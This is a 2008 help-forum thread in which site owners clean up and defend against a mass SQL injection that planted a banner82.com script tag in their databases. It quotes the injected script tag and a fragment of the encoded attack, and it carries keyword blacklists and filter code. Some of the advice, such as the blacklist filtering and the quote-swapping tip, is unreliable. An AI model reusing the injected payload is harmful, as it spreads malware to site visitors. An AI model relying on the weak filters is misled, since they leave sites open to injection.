Question

Cleaning Up SQL Injection Attack - http://www.banner82.com/b.js script

Asked by: coloradodude

I have fallen victim to what appears to be a nefarious SQL Injection attack.  My system is an old ASP applicaiton that requires some protection updates. However I need to clean the database to remove the following text:
<script src=http://www.banner82.com/b.js></script>

This text has been appended to every column that contains Character or Text data. Becuase it has infected ntext and Text fields as well as varchars  I can not use the replace function. So I need something else.

I have modified Narayana Vyas Kondreddi's Search Code to update records that
The following update statement is the one that is not working... Any help woudl be greatly appreciated:

 UPDATE  VendorProducts SET @ColumnName= SUBSTRING(@ColumnName , 0,PATINDEX(@SearchStr2 , @ColumnName)-1)
                         WHERE PATINDEX(@SearchStr2, @ColumnName) > 0

CREATE PROC SearchTableStrReplaceg
(
     @SearchStr nvarchar(100),
     @TableStr nvarchar(100)
 
)
AS
BEGIN
 
     -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
     -- Purpose: To search all columns of all tables for a given search string
     -- Written by: Narayana Vyas Kondreddi
     -- Site: http://vyaskn.tripod.com
     -- Tested on: SQL Server 7.0 and SQL Server 2000
     -- Date modified: 28th July 2002 22:50 GMT
 
 
     CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
 
     SET NOCOUNT ON
 
     DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @fieldlen integer
     SET  @TableName = ''
     SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
     SET @fieldlen =LEN(@SearchStr2)
     WHILE @TableName IS NOT NULL
     BEGIN
          SET @ColumnName = ''
          SET @TableName = 
          (
               SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
               FROM      INFORMATION_SCHEMA.TABLES
               WHERE           TABLE_TYPE = 'BASE TABLE' and TABLE_NAME = @TableStr
                    AND     QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                    AND     OBJECTPROPERTY(
                              OBJECT_ID(
                                   QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                                    ), 'IsMSShipped'
                                     ) = 0
          )
 
          WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
          BEGIN
               SET @ColumnName =
               (
                    SELECT MIN(QUOTENAME(COLUMN_NAME))
                    FROM      INFORMATION_SCHEMA.COLUMNS
                    WHERE           TABLE_SCHEMA     = PARSENAME(@TableName, 2)
                         AND     TABLE_NAME     = PARSENAME(@TableName, 1)
                         AND     DATA_TYPE IN ('text', 'ntext')
                         AND     QUOTENAME(COLUMN_NAME) > @ColumnName
               )
     
               IF @ColumnName IS NOT NULL
               BEGIN
                         UPDATE  VendorProducts SET @ColumnName= SUBSTRING(@ColumnName , 0,PATINDEX(@SearchStr2 , @ColumnName)-1)
                         WHERE PATINDEX(@SearchStr2, @ColumnName) > 0
               END
          END     
     END
 
     SELECT ColumnName, ColumnValue FROM #Results
END

                                  
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:

Select allOpen in new window

This Question has been solved and asker verified All Experts Exchange premium technology solutions are available to subscription members.

Subscribe now for full access to Experts Exchange and get

Instant Access to this Solution

  • Plus...
  • 30 Day FREE access, no risk, no obligation
  • Collaborate with the world's top tech experts
  • Unlimited access to our exclusive solution database
  • Never be left without tech help again

Subscribe Now

Asked On
2008-05-17 at 14:36:48ID23411125
Tags

ASP

,

SQL

,

MS SQL 2005

,

www.bestaviation.net & aviationcareerguide.com

Topics

Networking Security Vulnerabilities

,

MS SQL Server

,

SQL Server 2005

Participating Experts
15
Points
500
Comments
36

Trusted by hundreds of thousands everyday for fast, accurate and reliable tech support.

  • "The time we save is the biggest benefit of Experts Exchange to Warner Bros. What could take multiple guys 2 hours or more each to find is accessed in around 15 minutes on Experts Exchange." Mike Kapnisakis, Warner Bros.
  • "Our team likes having a resource that is more secure than just using Google and most experts using this service really know their stuff. It's nice to look here first versus using Google." Dayna Sellner, Lockheed Martin
  • "Anytime that I've been stumped with a problem, 9 out of 10 times Experts Exchange has either the accepted solution or an open discussion of the potential solution to the problem." Kenny Red, eBay Inc.

See what Experts Exchange can do for you.

Got a question?

We've got the answer.

Experts Exchange has been collecting answers to technology questions since 1996…3 million and counting! If you have a question, chances are we already have your answer.

Screenshot of Experts Exchange Knowledgebase

Need individual assistance?

Our experts are ready to help.

If you can't find the exact answer you're looking for, ask our exclusive community of 50,000 experts. You’ll get a personalized answer from a trusted professional.

Screenshot of Experts Exchange Knowledgebase

Want to learn from the best?

Read articles from industry experts.

Thousands of free tech tips, tricks, how-to’s and tutorials are available in our peer reviewed articles section. See for yourself how smart our experts are, no login required.

Screenshot of an Article

Working on a long term project?

Store your work and research.

Save solutions to your questions, answers you’ve discovered through searching plus helpful articles in your personal knowledgebase for easy future access.

Screenshot of Experts Exchange Knowledgebase

Access the answers to your technology questions today.

Subscribe Now

30-day free trial. Register in 60 seconds.

What Makes Experts Exchange Unique?

Members of the expert community talk about why the experience at Experts Exchange is different than what you will find anywhere else.

Trusted by the world's most respected brands.

image of each brand's logo

Faithfully serving IT professionals since 1996.

Experts Exchange Logo

Try it out and discover for yourself.

Subscribe Now

30-day free trial. Register in 60 seconds.

Related Solutions

  1. SQL Injection Attack
    Please tell me how to exploit this query with a SQL injection attack! I've been reading about such attacks and I want to lock down my code a bit better. But, for some reason I can't get my Coldfusion program to bite on the good old ' or '1'='1' -- as the password when I f...
  2. Virus/SQL Injection Attack
    Hi, For the past couple of weeks we've been the victims of SQL Injection attacks. It started with the 'nihao1orr.com' (or something like that), but the effect in all the cases was the same....all the text fields in one database were appended with some script text beginning ...
  3. SQL Injection Attack - how to stop it once it's started??
    Hello, I have fallen victim to an SQL injection attack (or what seems to be) and have had three Tables in a database corrupted with a script string reading <script src=http://www.banner82.com/b.js></script> and placing itself in every row and as many columns as i...
  4. Readinf IIS logs for intrusion or sql injection attack
    Recently on 2 seperate occasions an internal network protected website I have created has fallen to the latest SQL injection attack that I am sure we have all read about or heard of. The thign I can not work out is how this has occurred when it has no external access. Anyway...
  5. Extremely Urgent - SQL injection attack
    We have inline SQL in classic ASP. We were running fine for the past 5 years, but we got hit with an injection attack on friday. Before we convert them to stored procedures, somebody help me with options available for damage control. Below is the script that is getting inje...

Free Tech Articles

  1. WARNING: 5 Reasons why you should NEVER fix a computer for free.
    It is in our nature to love the puzzle. We are obsessed. The lot of us. We love puzzles. We love the challenge. We thrive on finding the answer. We hate disarray. It bothers us deep in our soul. W...
  2. SCCM OSD Basic troubleshooting
    SCCM 2007 OSD is a fantastic way to deploy operating systems, however, like most things SCCM issues can sometimes be difficult to resolve due to the sheer volume of logs to sift through and the dispe...
  3. Migrate Small Business Server 2003 to Exchange 2010 and Windows 2008 R2
    This guide is intended to provide step by step instructions on how to migrate from Small Business Server 2003 to Windows 2008 R2 with Exchange 2010. For this migration to work you will need the fo...
  4. Create a Win7 Gadget
    This article shows you how to create a simple "Gadget" -- a sort of mini-application supported by Windows 7 and Vista. Gadgets can be dropped anywhere on the desktop to provide instant information, ...
  5. Outlook continually prompting for username and password
    There have been a lot of questions recently regarding Outlook prompting for a username and password whilst using Exchange 2007. There are a few reasons why this would happen and I will try to cover t...
  6. Backup Exchange 2010 Information Store using Windows Backup
    There seems to be quite a lot of confusion around the ability to backup Exchange 2010 using the built in Windows Backup feature. This stems from the omission of this feature prior to Exchange 2007 s...

Cloud Class Webinars

  1. Avoiding Bugs in Microsoft Access
    Alison Balter takes and in-depth look at avoiding bugs in Access. In this webinar you will learn about using the immediate window to debug your applications, invoking the debugger, using breakpoints to troubleshoot, stepping through code, setting the next statement to execute, ...
  2. Top 10 Best New Features in Visio 2010
    Scott Helmers gives live demonstrations of the top 10 new features in Visio 2010. This webinar will teach you how to create compelling diagrams by adding shapes to the page with a single click, linking the shapes in a diagram to data in Excel (or SQL Server, or SharePoint), ...
  3. IT Consultant Business Secrets Revealed
    Michael Munger, Experts Exchange tech pro and IT consultant, pulls back the curtain on his very successful businesses and answers question on every IT consultant and business owner should know about. He shares secrets on what he did to solve the 5 most common problems in IT, ...
  4. Disaster Recovery and Business Continuity
    Quest CTO, Mike Billon, gives an overview of the steps involved in building a dunamic disaster recovery plan. Through case studies and an examination of software/hardware tooles for monitoring and testing, you'll gain a better understandin of where you are, where you want ...
  5. Organize Your Visio Diagrams with Containers and Lists
    Scott Helmers uses cross functional flowcharts, wireframe diagrams, data graphic legends and seating charts to teach you: how to ustilize all three new structured diagram components in Visio 2010, the best practices for organizeing shapes in previous version of Visio, how to organize ...
  6. How to Us Objects, Properties, Events and Methods in Microsoft Access
    Alison Dalter gives an in-depbth look at objects, properties, events and methods in Microsoft Access. In this webinar you will learn about using the object browser, referring to objects, working with properties and methods, working with object variables, understanding the ...

Join the Community

Give a Little. Get a Lot.

Join the community of experts here and help other tech pros by answering question in your area of expertise. You can earn FREE access to all Experts Exchange's premium features and resources.

Join the Community

Answers

 

by: paulop1975Posted on 2008-05-17 at 14:46:05ID: 21590853

You can try to follow this article on Searching and Replacing text on TEXT columns: http://www.sqlteam.com/article/search-and-replace-in-a-text-column

NOTICE this paragraph in the article: "In this way any row the contains the searched text will have first occurrence of that text replaced with the new value. If you have more than one occurrencies of your text, and you need all of them replaced, you just have to execute this script until the select statement bound to the cursor return 0 rows."

Cheers,
PP

/*
*
* Search & Replace 
*
* Use Ctrl+Shift+M to replace template values
*
*/
 
set xact_abort on
begin tran
 
declare @otxt varchar(1000)
set @otxt = '<string1, text, text to be replaced>'
 
declare @ntxt varchar(1000)
set @ntxt = '<string2, text, replacing text>'
 
declare @txtlen int
set @txtlen = len(@otxt)
 
declare @ptr binary(16)
declare @pos int
declare @id int
 
declare curs cursor local fast_forward
for
select 
	id,
	textptr(<field_name, sysname, target text field>),
	charindex(@otxt, <field_name, sysname, target text field>)-1
from 
	<table_name, sysname, target table> 
where 
	<field_name, sysname, target text field> 
like 
	'%' + @otxt +'%'
 
open curs
 
fetch next from curs into @id, @ptr, @pos
 
while @@fetch_status = 0
begin
	print 'Text found in row id=' + cast(@id as varchar) + ' at pos=' + cast(@pos as varchar)
	
	updatetext <table_name, sysname, target table> .<field_name, sysname, target text field> @ptr @pos @txtlen @ntxt
 
	fetch next from curs into @id, @ptr, @pos	
end
 
close curs
deallocate curs
 
commit tran

                                              
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:

Select allOpen in new window

 

by: coloradodudePosted on 2008-05-17 at 14:59:55ID: 21590873

PP:

Thank you for your response.  I have found plenty of examples of how to change NTEXT for a given table and/or column. I need a global search and replace to change the TEXT and NTEXT fields across all fields in all tables of the database.  The code above does this, I just can't get the Update to work. If I  replace this code:
UPDATE  VendorProducts SET @ColumnName= SUBSTRING(@ColumnName , 0,PATINDEX(@SearchStr2 , @ColumnName)-1)
                         WHERE PATINDEX(@SearchStr2, @ColumnName) > 0

 

by: hibridassassinPosted on 2008-05-18 at 05:08:47ID: 21592403

I got hit with the same attack...Unfortunately, I am a one man IT dept. for my company and I will move everything to store procs but I found this to be very useful in blocking the SQL Injections:
http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx

SqlCheckInclude.asp
 
 
 
This is the code that does the main filtering. Copy the code below into an ASP file and modify according to your needs. The main things you need to add/modify for your needs are the BlackList array and the ErrorPage you want to forward to. Deploy this file in a location that will be accessible to all your web applications. Make sure that the path to your error page is correct. Use a full path here if possible, since this code will get included into several applications that may all reside in different physical directories.
 
<% 
'  SqlCheckInclude.asp
'
'  Author: Nazim Lala
'
'  This is the include file to use with your asp pages to 
'  validate input for SQL injection.
 
 
Dim BlackList, ErrorPage
 
'
'  Below is a black list that will block certain SQL commands and 
'  sequences used in SQL injection will help with input sanitization
'
'  However this is may not suffice, because:
'  1) These might not cover all the cases (like encoded characters)
'  2) This may disallow legitimate input
'
'  Creating a raw sql query strings by concatenating user input is 
'  unsafe programming practice. It is advised that you use parameterized
'  SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
'  on how to do this using ADO from ASP.
'
'  Moreover, you need to also implement a white list for your parameters.
'  For example, if you are expecting input for a zipcode you should create
'  a validation rule that will only allow 5 characters in [0-9].
'
 
BlackList = Array("--", ";", "/*", "*/", "@@", "@",_
                  "char", "nchar", "varchar", "nvarchar",_
                  "alter", "begin", "cast", "create", "cursor",_
                  "declare", "delete", "drop", "end", "exec",_
                  "execute", "fetch", "insert", "kill", "open",_
                  "select", "sys", "sysobjects", "syscolumns",_
                  "table", "update")
 
'  Populate the error page you want to redirect to in case the 
'  check fails.
 
ErrorPage = "/ErrorPage.asp"
               
'''''''''''''''''''''''''''''''''''''''''''''''''''               
'  This function does not check for encoded characters
'  since we do not know the form of encoding your application
'  uses. Add the appropriate logic to deal with encoded characters
'  in here 
'''''''''''''''''''''''''''''''''''''''''''''''''''
Function CheckStringForSQL(str) 
  On Error Resume Next 
  
  Dim lstr 
  
  ' If the string is empty, return true
  If ( IsEmpty(str) ) Then
    CheckStringForSQL = false
    Exit Function
  ElseIf ( StrComp(str, "") = 0 ) Then
    CheckStringForSQL = false
    Exit Function
  End If
  
  lstr = LCase(str)
  
  ' Check if the string contains any patterns in our
  ' black list
  For Each s in BlackList
  
    If ( InStr (lstr, s) <> 0 ) Then
      CheckStringForSQL = true
      Exit Function
    End If
  
  Next
  
  CheckStringForSQL = false
  
End Function 
 
 
'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check forms data
'''''''''''''''''''''''''''''''''''''''''''''''''''
 
For Each s in Request.Form
  If ( CheckStringForSQL(Request.Form(s)) ) Then
  
    ' Redirect to an error page
    Response.Redirect(ErrorPage)
  
  End If
Next
 
'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check query string
'''''''''''''''''''''''''''''''''''''''''''''''''''
 
For Each s in Request.QueryString
  If ( CheckStringForSQL(s) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)
 
    End If
  
Next
 
 
'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check cookies
'''''''''''''''''''''''''''''''''''''''''''''''''''
 
For Each s in Request.Cookies
  If ( CheckStringForSQL(s) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)
 
  End If
  
Next
 
 
'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Add additional checks for input that your application
'  uses. (for example various request headers your app 
'  might use)
'''''''''''''''''''''''''''''''''''''''''''''''''''
 
%>
 
 
 
 
 
 TestPage.asp
 
 
 
This is a sample that shows how to include the script above in my application. Make sure the path to your include file is correct. The example below is for the application and the include file being in the same directory. Make sure you modify the path if these 2 are not in the same directory.
 
<% 
'  TestPage.asp
'
'  Author: Nazim Lala
'
'  This is a file to test the SQLCheckInclude file. The idea here is that you add
'  the include file to the beginning of every asp page to get SQL injection 
'  input validation
 
 
%>
 
<!--#include file="SqlCheckInclude.asp"-->
<%
Response.Write("Welcome to the Test Page.")
Response.Write("If you are seeing this page then SQL validation succeeded.")
%>
 
 
 
 
 
ErrorPage.asp
 
 
 
If a black list string is found in any input, this is the page you will be forwarded to. You can reuse any custom error page that you already have for this. I am including this only for the sake of completeness.
 
<% 
'  ErrorPage.asp
'
'  Author: Nazim Lala
'
'  This is the error page that users will be redirected to if the input cannot
'  be validated
 
%>
<%Response.Write("ERROR: Invalid Input")%>
 
 
 
 
SendEmail.asp
 
 
 
This script sends email via a remote SMTP server that uses credentials. You will need to integrate this into your application at the right place to get error reporting via email.
 
<% 
 
'  SendEmail.asp
'  Author: Nazim Lala
    
Function SendEmail(email, msg) 
  On Error Resume Next 
  
  ' If the string is empty, return false
  If ( IsEmpty(email) ) Then
    SendEmail = false
    Exit Function
  ElseIf ( StrComp(email, "") = 0 ) Then
    SendEmail = false
    Exit Function
  End If
  
 
  Set cdoConfig = CreateObject("CDO.Configuration")  
 
  With cdoConfig.Fields  
      .Item(cdoSendUsingMethod) = cdoSendUsingPort  
      ' Fill in server name for remote SMTP server and
      ' credentials
      .Item(cdoSMTPServer) = "smtpserver.foo.com"  
      .Item(cdoSMTPAuthenticate) = 1  
      .Item(cdoSendUsername) = "username"  
      .Item(cdoSendPassword) = "password"  
      .Update  
  End With 
 
  Set cdoMessage = CreateObject("CDO.Message")  
 
  With cdoMessage 
    'Fill in sender information
    Set .Configuration = cdoConfig 
    .From = "me@myself.com" 
    .To = email 
    .Subject = "Test Email" 
    .TextBody = msg 
    .Send 
  End With 
 
  Set cdoMessage = Nothing  
  Set cdoConfig = Nothing  
  
  SendEmail = true
  
End Function 
 
 
%>
 
 
<FORM VERB=POST METHOD="POST"> 
Test page for checking input with possible SQL injection.<br><br>
Email: <INPUT NAME=Email></INPUT><BR>
Message: <INPUT NAME=Message></INPUT><BR>
Sent: <% = SendEmail(Request("Email"),Request("Message")) %><BR> 
<BUTTON TYPE=SUBMIT>Submit</BUTTON> 
</FORM> 
                                              
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
232:
233:
234:
235:
236:
237:
238:
239:
240:
241:
242:
243:
244:
245:
246:
247:
248:
249:
250:
251:
252:
253:
254:
255:
256:

Select allOpen in new window

 

by: coloradodudePosted on 2008-05-18 at 10:30:48ID: 21593357

I actually added this black list Yesterday. Unfortunately it did not help. I got attacked again last night. Did it work for you?

 

by: hibridassassinPosted on 2008-05-18 at 11:30:05ID: 21593525

yes, because in the black I added a few things...I added <script, </script>, and lastly I added '.  The last one (" ' ") will create problems with people entering data like O'Connor but there is a way around that...we need to use the replace function to change ' to " and when SQL sees ", it will escape it and enter it in as '.  So using the O'Connor example, the data passed into SQL would be O"Connor then SQL would convert it to O'Connor.  I hope this helps, I spent all night doing this and I added the include to ALL my pages that ever connect to the database.

BlackList = Array("--", ";", "/*", "*/", "@@", "@",_
                  "char", "nchar", "varchar", "nvarchar",_
                  "alter", "begin", "cast", "create", "cursor",_
                  "declare", "delete", "drop", "end", "exec",_
                  "execute", "fetch", "insert", "kill", "open",_
                  "select", "sys", "sysobjects", "syscolumns",_
                  "table", "update", "<script", "</script>", "'")

                                              
1:
2:
3:
4:
5:
6:
7:

Select allOpen in new window

 

by: coastman14Posted on 2008-05-18 at 18:40:30ID: 21594800

what did you do to get yours to work, i got attacked as well... mainly for mass update.

 

by: hibridassassinPosted on 2008-05-18 at 21:14:09ID: 21595193

Coastman14,

Use the codes I posted earlier but make sure that you add "<script" and "</script>" to the blacklist.  I have not a single SQL injection since I put the code online.

 

by: dcivijayPosted on 2008-05-19 at 06:27:07ID: 21597541

Yes we have tried all the above but then we are not able to stop SQL injection. Please let us know is there any other permanent solution to solve this issue.

 

by: hibridassassinPosted on 2008-05-19 at 08:48:13ID: 21598809

dcivijay,

The above did stop the SQL injection...Can you walk me through what you've done exactly?  I am using this exact code on my company's web application as a temporary fix and we have been compromised since.

 

by: hibridassassinPosted on 2008-05-19 at 08:49:09ID: 21598817

I meant to say we have not been compromised.

 

by: TolomirPosted on 2008-05-19 at 12:37:24ID: 21600839

Here are some more suggestions from microsoft themselves:

SQL Injection Attacks on IIS Web Servers
http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx

Questions about Web Server Attacks
http://blogs.technet.com/msrc/archive/2008/04/25/questions-about-web-server-attacks.aspx

How To: Protect From SQL Injection in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998271.aspx

Improving Web Application Security: Threats and Countermeasures
http://msdn.microsoft.com/en-us/library/ms994921.aspx

Tolomir

 

by: SpencerSteelPosted on 2008-05-21 at 04:54:28ID: 21614020

A colleague of mine had a similiar problem and he found that looking for string such as <script> was not reliable as the bot concerned seems to escape the SQL string and send it as hex e.g. DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420...

Therefore, the only reliable way to prevent this is to take an approach similiar to the javascript parseInt function and to check all numeric input, rejecting any character not between 0 and 9. See VBScript example below:

Function SanitiseNumber(sVariable)
 
	If IsNull(sVariable) Or sVariable = "" Then
 
		' No value to sanitise, return empty string
		SanitiseNumber = ""
		Exit Function
 
	End If
 
	Dim sChar, i
 
	For i = 1 To Len(sVariable)
 
		sChar = Mid(sVariable, i, 1)
 
		If Asc(sChar) < 48 Or Asc(sChar) > 57 Then
 
			' Not a digit between 0 and 9
			Exit Function
 
		End If
 
		' If we get to here, character is valid, tack onto output
		SanitiseNumber = SanitiseNumber & sChar
 
	Next
 
End Function

                                              
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:

Select allOpen in new window

 

by: phewdesignPosted on 2008-05-21 at 08:49:48ID: 21616275

Following on from this, we've had a simular attack. I've searched our log files but can't find reference to the attack. Have any of you got reference to the log entry to help me search for it to find the page that is being attacked?

I'm assuming they are encoding the string as I can't find "banner82" in my log files.

Thanks

 

by: SpencerSteelPosted on 2008-05-21 at 08:58:16ID: 21616362

You could try looking for "DECLARE" as it looks like this appears in some attacks.

You could also try looking for a ; (semi colon) in the path, after the ? that designates the start of the querystring.

 

by: TolomirPosted on 2008-05-21 at 11:23:52ID: 21617632

Here is some more info:

http://www.theregister.co.uk/2008/05/21/china_sql_injection_attack/

Mass SQL injection hits English language websites
Chinese hackers spread the silent love

The malicious code exploit well-known RealPlayer and Internet Explorer vulnerabilities to install a password-stealing Trojan that hides its presence on Windows PCs. More than 7,000 sites have been compromised in this way, reports Mary Landesman, ScanSafe's senior security researcher.

Tolomir

 

by: LesliedochertyPosted on 2008-05-22 at 08:12:14ID: 21624523

We are being plagued by it, either banner82 or adn95, both do the same thing, every time we clean up the database it does it again..

 

by: werik7Posted on 2008-05-23 at 06:17:55ID: 21631806

I think I found an error in the following routine in the SQL Injection testing script:

Once I made the tweak it seems to work great!

'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check query string
'''''''''''''''''''''''''''''''''''''''''''''''''''
 
For Each s in Request.QueryString
  ' If ( CheckStringForSQL(s) ) Then - this is the field name not the data that is being checked here....
  If ( CheckStringForSQL(Request.QueryString(s)) ) Then  
    ' Redirect to error page
    Response.Redirect(ErrorPage)
 
    End If
  
Next
                                              
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:

Select allOpen in new window

 

by: werik7Posted on 2008-05-23 at 06:21:59ID: 21631830

Looks like it is the same issue for the cookies check as well.. instead of validating the field name it needs to validate the data of the value

For Each s in Request.Cookies
  If ( CheckStringForSQL(Request.Cookies(s) ) Then
    ' Redirect to error page
    Response.Redirect(ErrorPage)
  End If
Next
                                              
1:
2:
3:
4:
5:
6:

Select allOpen in new window

 

by: werik7Posted on 2008-05-23 at 06:25:03ID: 21631852

I missed getting an additional ) in the code snippit...

For Each s in Request.Cookies
  If ( CheckStringForSQL(Request.Cookies(s)) ) Then
    ' Redirect to error page
    Response.Redirect(ErrorPage)
  End If
Next

                                              
1:
2:
3:
4:
5:
6:

Select allOpen in new window

 

by: greengoPosted on 2008-05-27 at 03:08:06ID: 21650633

@Lesliedocherty - look through your IIS log files for:

DECLARE%20@S%20VARCHAR(4000)

or, failing that, just DECLARE.

This should enable you to find which page is being exploited. Check that page carefully and make sure that any data being passed to the database is being cleaned, unless it's being passed through an ADO parameter object.

@werik7, I disagree that you should take the CheckStringForSQL() approach. I think it's much more robust to take the approach I've described in this post:

http://www.experts-exchange.com/Web_Development/Web_Languages-Standards/ASP/Q_23426027.html

 

by: phewdesignPosted on 2008-05-29 at 05:49:34ID: 21668510

@hibridassassin
Great script thanks. In addition to this I added in another routine that might prove useful. Many attacks attach  onto query string which should only ever be an Integer. e.g. ID=4

With this in mind if you 'know' a list of these that should only ever be numerical I added in this:

'e.g. WhiteListInt=Array("id","product_id") etc...
WhiteListInt=Array("")
 
For Each s in WhiteListInt
 
if isnumeric(Request.QueryString(s)) or IsEmpty(Request.QueryString(s)) then
'do nothing
else 
Response.Redirect(ErrorPage)
end if
 
Next

                                              
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:

Select allOpen in new window

 

by: phewdesignPosted on 2008-05-29 at 05:53:37ID: 21668549

sorry scrap the:
or IsEmpty(Request.QueryString(s))

bit in that if statement.

 

by: greengoPosted on 2008-05-29 at 06:43:59ID: 21669006

From past experience, I have found that IsNumeric() is not suitable for this purpose as it will allow numbers in hexadecimal format.

The exploit we have been talking about uses hex to encode the SQL statement and then uses CAST to decode it once it's in SQL Server.

IsNumeric() is *not* sufficient to ensure that your variables contain only numeric data. This is why i created the SanitiseNumber() function. It will reject hex numbers as it will stop processing when it reaches a D for example.

 

by: phewdesignPosted on 2008-05-29 at 07:14:29ID: 21669278

Interesting. Read up on it and It seems it will return true if it is a string which can be converted into a number , Any SQL statement encoded in hex surely would require non-numerical characters and therefore would not convert to a  number?  Am i going drastically wrong here?

I'll check out that function you linked in your previous post, thanks.

 

by: greengoPosted on 2008-05-29 at 07:29:07ID: 21669404

Theoretically, yes, some non-numeric characters would be required, as they are in this particular exploit.

From my own point of view, I'm not keen to get hit again and I'm certainly not keen on trawling through all my code to modify it all over again if and when the exploit evolves.

Here's a plan - use IsNumeric() but wrap it up in your own custom function. That way, if you decide later on that IsNumeric is insufficient, you only have to modify your custom function, rather than every call to IsNumeric. Sound like a good compromise?

 

by: phewdesignPosted on 2008-05-29 at 07:40:45ID: 21669547

Hell no i'm stealing your function it looks very good :).
Just not got the time today to swap it over, so far the IIS logs are keeping this exploit back with IsNumeric().

I was wondering if Cint() could work too? then catch the error. However that seems a rather dirty option.

 

by: greengoPosted on 2008-05-29 at 08:19:53ID: 21669946

Ha ha, glad you like it.

Yeah, I think that would work as it would attempt to convert the hex back to an integer. If the hex code represented a string, this would fall over and you could catch that.

However, I'm not a fan of On Error Resume Next as it's nowhere near as efficient as something like try/catch.

 

by: SpencerSteelPosted on 2008-05-29 at 08:25:16ID: 21670006

It's a shame you're not gonna get any points for this one Greengo as I think its agreed your solution is the rocksoliderist :)

S.S.

 

by: greengoPosted on 2008-05-29 at 08:27:42ID: 21670027

Thanks S.S. it's nice to be important but it's more important to be nice.

Or something like that anyway.

 

by: steelheart38Posted on 2008-06-08 at 18:24:04ID: 21740258

Hi,

I just wish to share some a blog I posted on this issue. Just in case it helps. http://ryangaraygay.com/blog/post/2008/05/SQL-injection-attacks-banner82-script.aspx

 

by: LeskosekDenisPosted on 2008-06-27 at 11:26:50ID: 21886460

I got hacked 1 week ago and recovery from this type of attack is not simple at all.
I have compiled a script similar to the ones posted here for data cleaning, but the problem is that the attack command uses CAST(field as varchar) which is actually varchar(30) so all of my varchar fields with length above 30 are trimmed, this includes text fields as well,  so basiclly you have to take your backup and repair from there if you can.
When the data was cleaned i took this steps:
- set low level premissions for user that interfaces SQL server (select premissions, deny select on sysobjects, syscolumns, information_schema views in master table, no updates, deletes or inserts, all or this has to be done by procedures,
- used the code similar to hibridassassin's post and added send to mail when asp throws error,
- coding for stored procedures and dynamic SQL strings has to be changed into something shown in code snippet (parameterized). check http://www.w3schools.com/ado/default.asp for refference.

 

by: LeskosekDenisPosted on 2008-06-27 at 11:29:13ID: 21886479

Well, the code snippet

param1 = request.Querystring("param1")
param2 = request.Querystring("param2")
 
set cmd = Server.CreateObject("ADODB.Command")
set prm = Server.CreateObject("ADODB.Parameter")
'set rs = Server.CreateObject("ADODB.Connection")
' Set up a command object for the stored procedure.
Set cmd.ActiveConnection = db
 
With cmd
    .CommandText = "usp_SomeProcedure"
    .CommandType = 4
    .CommandTimeout = 15
    .Parameters.Refresh
    .CreateParameter "@Param1", 200, 1, 30
    .CreateParameter "@Param2", 3, 1
    .CreateParameter "@Param3", 3, 1
    .Parameters("@Param1").Value = param1
    .Parameters("@Param2").Value = param2
    .Parameters("@Param3").Value = 10
End With
cmd.Execute

                                              
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:

